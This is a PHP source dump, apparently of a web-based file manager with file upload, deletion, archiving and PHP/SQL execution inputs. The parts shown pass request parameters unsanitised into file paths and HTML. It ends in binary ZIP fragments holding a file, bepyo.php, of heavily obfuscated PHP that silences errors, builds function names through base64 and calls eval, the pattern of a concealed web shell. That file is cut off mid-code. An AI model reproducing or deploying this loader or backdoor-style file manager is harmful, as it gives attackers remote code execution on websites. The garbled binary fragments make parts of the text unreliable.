if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post" action="<?=$url_inc?>" style="display:inline">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
<input type="submit" name="search" value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>PK �Um\���� � about.phpnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>HZ4WXH0ESBF1JYTB</RequestId><HostId>sW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=</HostId></Error>PK �Um\o�e�*� *� bepyo.phpnu �[��� <?php
/*
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
*/ goto ���;�է�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;���:error_reporting(0);goto ݀��;���:function �ߕ(){goto ����;���:Ϸ��:goto ����;����:if(!($����[0x001]==$��+0x02d))goto Ϸ��;goto ��Ƚ;���:�ꝇ:goto �߯�;����:return "\x73\164\162\154\x65\x6e";goto ���;آ��:if(!($����[0x0002]==$��+0x00000b8))goto ��;goto 䝺�;���:ӆ��:goto آ��;�΄:$����=func_get_args();goto ����;��Ƚ:return base64_decode(join("",array('c','G','9','3')));goto ���;���:��:goto ����;䝺�:return base64_decode('YmFzZTY0X2RlY29kZQ');goto ���;����:return((parse_str("cm91bmQ",$읹�)||$읹�)?base64_decode(key($읹�)):"");goto ���;����:if(!($����[0x0002]==$��+0x00128))goto �ꝇ;goto ����;����:$��=0x01842;goto �΄;����:if(!($����[0x001]==$��+0x006f))goto ӆ��;goto ����;�߯�:}goto ��;�IJ�:eval(FYnYw(����(0x0000024b2)));goto �է�;���:$���=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ����;݀��:function ����(){goto ����;����:֔��:goto ㅃ�;����:$ʟ��=0x00240a;goto ��ӝ;��ӝ:$�ȩ�=func_get_args();goto �ʟ�;ϱ��:if(!($�ȩ�[0]==$ʟ��+0x0000a8))goto ѧŹ;goto ����;����:return "\157\x72\144";goto ����;����:���:goto ϱ��;���:return "\x63\x68\162";goto ����;��ʂ:ѧŹ:goto 